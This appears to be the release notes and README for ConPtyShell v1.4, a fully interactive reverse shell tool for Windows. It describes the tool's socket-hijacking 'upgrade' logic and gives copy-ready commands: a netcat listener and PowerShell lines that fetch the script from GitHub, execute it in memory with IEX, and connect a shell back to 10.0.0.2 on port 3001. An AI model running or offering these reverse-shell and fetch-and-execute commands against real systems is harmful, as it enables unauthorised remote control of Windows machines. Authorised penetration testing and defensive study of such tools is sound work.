ConPtyShell v1.4 releases: Fully Interactive Reverse Shell for Windows
ConPtyShell is a Fully Interactive Reverse Shell for Windows systems.
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. ConPtyShell uses this feature to literally transform your bash in a remote powershell.
Briefly, it creates a Pseudo Console and attaches 2 pipes.
Then it creates the shell process (default powershell.exe) attaching the Pseudo Console with redirected input/output.
Then starts 2 Threads for Async I/O:
– one thread for reading from the socket and writing to Pseudo Console input pipe;
– the second thread for reading from the Pseudo Console output pipe and writing to the socket.
ConPtyShell isn’t an “Upgrade to fully interactive” method for your reverse shell, just use it as your reverse shell 🙂
If you want to know further information regarding ConPty you can find a great article  in the references section.
NOTE: ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).
- The “upgrade” function now supports hijacking of a socket even in processes having multiple \Device\Afd objects (so multiple sockets associated). This fixes bugs when you use Invoke-WebRequest with powershell. ConPtyShell will be able to select the proper socket. It uses the function WSAIoctl(), with the control code SIO_TCP_INFO, and it checks the socket state
- Added a check in the “upgrade” function in order to detect (and skip) the Non-OVERLAPPED sockets that are not compatible with the ConPty console I/O management. It uses the function NtDeviceIoControlFile() with the Ioctl IOCTL_AFD_GET_CONTEXT to retrieve a SOCKET_CONTEXT object which contains (in the SharedData) the CreationFlags and it checks the WSA_FLAG_OVERLAPPED bit is set
- Changed the “upgrade” logic of the function GetSocketTargetProcess() in order to support the retrieve of all sockets from the target process. Now named GetSocketsTargetProcess()
- Changed the socket hijacking logic in the “upgrade” function. It now tries to hijack the sockets of the processes based on 3 levels of hierarchy in the following order: 1. current process -> 2. parent process -> 3. grandparent process.
- Fixed a bug for zsh users
- Fixed a bug in the “upgrade” for the type index of the object types “File“. Changing from static value 0x25 to dynamically retrieve the value on the runnig system with the call NtQuerySystemInformation and infoclass ObjectAllTypesInformation. Thanks to @tiraniddo and @0xrepnz for the advices and implementation
- Fixed a bug in the “upgrade” when converting an IntPtr to SYSTEM_HANDLE_TABLE_ENTRY_INFO object that made the program crash. Now managed with try-catch block
- Fixed a bug in the “upgrade” while checking socket inheritance between child -> parent -> grandparent processes. Now the sockets are correctly duplicated
- Fixed a memory leak in the “upgrade” in ThreadCheckDeadlock() function
- Fixed a bug in the “upgrade” while reordering multiple sockets. Now using bytes received as key for sorting instead of handle numbers. This fixed bugs in which ConPtyShell hijacked the wrong socket used by powershell when invoking Invoke-WebRequest.
It’s important to have the same rows and cols size between your terminal and the remote terminal if you want to have an aligned output on the shell.
In this method the terminal size is set without you to pass the rows and cols parameters to Invoke-ConPtyShell function:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
or, if you upload the ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001
If you prefer to have more freedom on the tcp listener and your terminal you can proceed with a “Manual” way to get the reverse shell. In this case, it’s important that you set rows and cols size when calling the Invoke-ConPtyShell function:
Here you should use the values read from stty size command in the Parameters -Rows and -Cols
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
or, if you upload the ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
Change Console Size
In any case, if you resize your terminal while you have already opened the remote shell you can change the rows and cols size directly from powershell pasting the following code:
Copyright (c) 2019 antonioCoco